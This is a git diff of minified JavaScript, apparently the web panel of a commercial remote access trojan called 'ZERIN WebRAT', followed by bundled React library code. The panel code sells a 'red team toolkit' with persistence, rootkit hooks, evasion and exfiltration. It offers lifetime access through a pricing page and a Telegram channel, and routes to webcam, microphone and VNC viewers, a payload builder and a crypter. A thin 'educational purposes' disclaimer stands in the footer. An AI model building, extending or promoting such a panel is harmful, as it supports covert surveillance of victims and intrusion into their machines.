py-1.5",children:"Features"}),s.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(it,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(it,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsx(lV,{activeId:n}),s.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),s.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),s.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[a," capabilities across ",ki.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),s.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[s.jsx(Rl,{value:String(a),label:"Capabilities"}),s.jsx(Rl,{value:"13",label:"Persist Methods"}),s.jsx(Rl,{value:"11",label:"Rootkit Hooks"}),s.jsx(Rl,{value:"256",label:"Proxy Channels"})]}),s.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:ki.map(o=>s.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),s.jsx("div",{className:"max-w-6xl mx-auto px-6",children:s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),s.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:ki.map((o,l)=>s.jsx(oV,{cat:o,index:l},o.id))}),s.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",a," capabilities included."]}),s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"View Pricing"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(it,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function $l({children:e}){const{isAuthenticated:t}=Za();return t?s.jsx(s.Fragment,{children:e}):s.jsx(Fi,{to:"/",replace:!0})}function uV({children:e}){const{isAuthenticated:t,isAdmin:n}=Za();return t?n?s.jsx(s.Fragment,{children:e}):s.jsx(Fi,{to:"/",replace:!0}):s.jsx(Fi,{to:"/login",replace:!0})}function y2({children:e}){const{isAuthenticated:t}=Za();return t?s.jsx(Fi,{to:"/dashboard",replace:!0}):s.jsx(s.Fragment,{children:e})}function dV(){const[e]=rx(),t=Jn();return p.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(ix(n),ai()),t("/dashboard",{replace:!0})},[e,t]),null}function fV(){const{isAuthenticated:e}=Za();return e?s.jsx(Fi,{to:"/dashboard",replace:!0}):sx()?s.jsx(zA,{}):s.jsx(Fi,{to:"/login",replace:!0})}function pV(){return s.jsx(UE,{children:s.jsxs(ZP,{children:[s.jsx(lt,{path:"/",element:s.jsx(fV,{})}),s.jsx(lt,{path:"/auth",element:s.jsx(dV,{})}),s.jsx(lt,{path:"/features",element:s.jsx(cV,{})}),s.jsx(lt,{path:"/payment/:id",element:s.jsx(rV,{})}),s.jsx(lt,{path:"/login",element:s.jsx(y2,{children:s.jsx(CA,{})})}),s.jsx(lt,{path:"/register",element:s.jsx(y2,{children:s.jsx(PA,{})})}),s.jsx(lt,{path:"/vnc/:id",element:s.jsx($l,{children:s.jsx(FU,{})})}),s.jsx(lt,{path:"/webcam/:id",element:s.jsx($l,{children:s.jsx(qU,{})})}),s.jsx(lt,{path:"/mic/:id",element:s.jsx($l,{children:s.jsx(GU,{})})}),s.jsxs(lt,{element:s.jsx($l,{children:s.jsx(yA,{})}),children:[s.jsx(lt,{path:"/dashboard",element:s.jsx(cU,{})}),s.jsx(lt,{path:"/agents/:id",element:s.jsx(MU,{})}),s.jsx(lt,{path:"/events",element:s.jsx(IU,{})}),s.jsx(lt,{path:"/payloads",element:s.jsx($U,{})}),s.jsx(lt,{path:"/crypter",element:s.jsx(eV,{})}),s.jsx(lt,{path:"/admin",element:s.jsx(uV,{children:s.jsx(JU,{})})})]}),s.jsx(lt,{path:"*",element:s.jsx(Fi,{to:"/",replace:!0})})]})})}dp.createRoot(document.getElementById("root")).render(s.jsx(lh.StrictMode,{children:s.jsx(sE,{children:s.jsx(pV,{})})})); diff --git a/dist/assets/index-RE_RleHj.js b/dist/assets/index-RE_RleHj.js new file mode 100755 index 0000000..6c5918a --- /dev/null +++ b/dist/assets/index-RE_RleHj.js @@ -0,0 +1,508 @@ +var fS=Object.defineProperty;var mS=(e,t,n)=>t in e?fS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Pf=(e,t,n)=>mS(e,typeof t!="symbol"?t+"":t,n);function pS(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const s of i)if(s.type==="childList")for(const o of s.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const s={};return i.integrity&&(s.integrity=i.integrity),i.referrerPolicy&&(s.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?s.credentials="include":i.crossOrigin==="anonymous"?s.credentials="omit":s.credentials="same-origin",s}function r(i){if(i.ep)return;i.ep=!0;const s=n(i);fetch(i.href,s)}})();function Wr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var tw={exports:{}},Yu={},nw={exports:{}},Se={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Jo=Symbol.for("react.element"),hS=Symbol.for("react.portal"),xS=Symbol.for("react.fragment"),vS=Symbol.for("react.strict_mode"),gS=Symbol.for("react.profiler"),yS=Symbol.for("react.provider"),bS=Symbol.for("react.context"),wS=Symbol.for("react.forward_ref"),jS=Symbol.for("react.suspense"),NS=Symbol.for("react.memo"),kS=Symbol.for("react.lazy"),Ov=Symbol.iterator;function zS(e){return e===null||typeof e!="object"?null:(e=Ov&&e[Ov]||e["@@iterator"],typeof e=="function"?e:null)}var rw={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},iw=Object.assign,aw={};function hs(e,t,n){this.props=e,this.context=t,this.refs=aw,this.updater=n||rw}hs.prototype.isReactComponent={};hs.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};hs.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function sw(){}sw.prototype=hs.prototype;function Ph(e,t,n){this.props=e,this.context=t,this.refs=aw,this.updater=n||rw}var Eh=Ph.prototype=new sw;Eh.constructor=Ph;iw(Eh,hs.prototype);Eh.isPureReactComponent=!0;var Tv=Array.isArray,ow=Object.prototype.hasOwnProperty,_h={current:null},lw={key:!0,ref:!0,__self:!0,__source:!0};function cw(e,t,n){var r,i={},s=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(s=""+t.key),t)ow.call(t,r)&&!lw.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,Z=M[V];if(0>>1;Vi(be,U))yei(q,be)?(M[V]=q,M[ye]=U,V=ye):(M[V]=be,M[ue]=U,V=ue);else if(yei(q,U))M[V]=q,M[ye]=U,V=ye;else break e}}return F}function i(M,F){var U=M.sortIndex-F.sortIndex;return U!==0?U:M.id-F.id}if(typeof performance=="object"&&typeof performance.now=="function"){var s=performance;e.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,p=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(M){for(var F=n(u);F!==null;){if(F.callback===null)r(u);else if(F.startTime<=M)r(u),F.sortIndex=F.expirationTime,t(c,F);else break;F=n(u)}}function j(M){if(g=!1,w(M),!x)if(n(c)!==null)x=!0,K(N);else{var F=n(u);F!==null&&_(j,F.startTime-M)}}function N(M,F){x=!1,g&&(g=!1,v(S),S=-1),h=!0;var U=p;try{for(w(F),f=n(c);f!==null&&(!(f.expirationTime>F)||M&&!T());){var V=f.callback;if(typeof V=="function"){f.callback=null,p=f.priorityLevel;var Z=V(f.expirationTime<=F);F=e.unstable_now(),typeof Z=="function"?f.callback=Z:f===n(c)&&r(c),w(F)}else r(c);f=n(c)}if(f!==null)var ae=!0;else{var ue=n(u);ue!==null&&_(j,ue.startTime-F),ae=!1}return ae}finally{f=null,p=U,h=!1}}var k=!1,z=null,S=-1,O=5,A=-1;function T(){return!(e.unstable_now()-AM||125V?(M.sortIndex=U,t(u,M),n(c)===null&&M===n(u)&&(g?(v(S),S=-1):g=!0,_(j,U-V))):(M.sortIndex=Z,t(c,M),x||h||(x=!0,K(N))),M},e.unstable_shouldYield=T,e.unstable_wrapCallback=function(M){var F=p;return function(){var U=p;p=F;try{return M.apply(this,arguments)}finally{p=U}}}})(hw);pw.exports=hw;var IS=pw.exports;/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var DS=m,pn=IS;function ee(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Im=Object.prototype.hasOwnProperty,RS=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,Lv={},Iv={};function $S(e){return Im.call(Iv,e)?!0:Im.call(Lv,e)?!1:RS.test(e)?Iv[e]=!0:(Lv[e]=!0,!1)}function BS(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function FS(e,t,n,r){if(t===null||typeof t>"u"||BS(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Kt(e,t,n,r,i,s,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=s,this.removeEmptyString=o}var Tt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Tt[e]=new Kt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Tt[t]=new Kt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Tt[e]=new Kt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Tt[e]=new Kt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Tt[e]=new Kt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Tt[e]=new Kt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Tt[e]=new Kt(e,5,!1,e.toLowerCase(),null,!1,!1)});var Th=/[\-:]([a-z])/g;function Mh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!1,!1)});Tt.xlinkHref=new Kt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!0,!0)});function Lh(e,t,n,r){var i=Tt.hasOwnProperty(t)?Tt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==s[l]){var c=` +`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{Af=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Qs(e):""}function WS(e){switch(e.tag){case 5:return Qs(e.type);case 16:return Qs("Lazy");case 13:return Qs("Suspense");case 19:return Qs("SuspenseList");case 0:case 2:case 15:return e=Of(e.type,!1),e;case 11:return e=Of(e.type.render,!1),e;case 1:return e=Of(e.type,!0),e;default:return""}}function Bm(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case Aa:return"Fragment";case _a:return"Portal";case Dm:return"Profiler";case Ih:return"StrictMode";case Rm:return"Suspense";case $m:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case gw:return(e.displayName||"Context")+".Consumer";case vw:return(e._context.displayName||"Context")+".Provider";case Dh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Rh:return t=e.displayName||null,t!==null?t:Bm(e.type)||"Memo";case ti:t=e._payload,e=e._init;try{return Bm(e(t))}catch{}}return null}function US(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Bm(t);case 8:return t===Ih?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function Ni(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function bw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function VS(e){var t=bw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,s=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,s.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function Sl(e){e._valueTracker||(e._valueTracker=VS(e))}function ww(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=bw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function Pc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Fm(e,t){var n=t.checked;return Ze({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Rv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=Ni(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function jw(e,t){t=t.checked,t!=null&&Lh(e,"checked",t,!1)}function Wm(e,t){jw(e,t);var n=Ni(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Um(e,t.type,n):t.hasOwnProperty("defaultValue")&&Um(e,t.type,Ni(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function $v(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Um(e,t,n){(t!=="number"||Pc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Js=Array.isArray;function Ha(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=Cl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function xo(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var ao={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},HS=["Webkit","ms","Moz","O"];Object.keys(ao).forEach(function(e){HS.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),ao[t]=ao[e]})});function Sw(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||ao.hasOwnProperty(e)&&ao[e]?(""+t).trim():t+"px"}function Cw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=Sw(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var KS=Ze({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Km(e,t){if(t){if(KS[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(ee(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(ee(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(ee(61))}if(t.style!=null&&typeof t.style!="object")throw Error(ee(62))}}function Gm(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ym=null;function $h(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var qm=null,Ka=null,Ga=null;function Wv(e){if(e=nl(e)){if(typeof qm!="function")throw Error(ee(280));var t=e.stateNode;t&&(t=Ju(t),qm(e.stateNode,e.type,t))}}function Pw(e){Ka?Ga?Ga.push(e):Ga=[e]:Ka=e}function Ew(){if(Ka){var e=Ka,t=Ga;if(Ga=Ka=null,Wv(e),t)for(e=0;e>>=0,e===0?32:31-(rC(e)/iC|0)|0}var Pl=64,El=4194304;function eo(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Oc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,s=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=eo(l):(s&=o,s!==0&&(r=eo(s)))}else o=n&~i,o!==0?r=eo(o):s!==0&&(r=eo(s));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,s=t&-t,i>=s||i===16&&(s&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function el(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Kn(t),e[t]=n}function lC(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=oo),Zv=" ",Qv=!1;function qw(e,t){switch(e){case"keyup":return IC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Xw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var Oa=!1;function RC(e,t){switch(e){case"compositionend":return Xw(t);case"keypress":return t.which!==32?null:(Qv=!0,Zv);case"textInput":return e=t.data,e===Zv&&Qv?null:e;default:return null}}function $C(e,t){if(Oa)return e==="compositionend"||!Gh&&qw(e,t)?(e=Gw(),fc=Vh=oi=null,Oa=!1,e):null;switch(e){case"paste":return 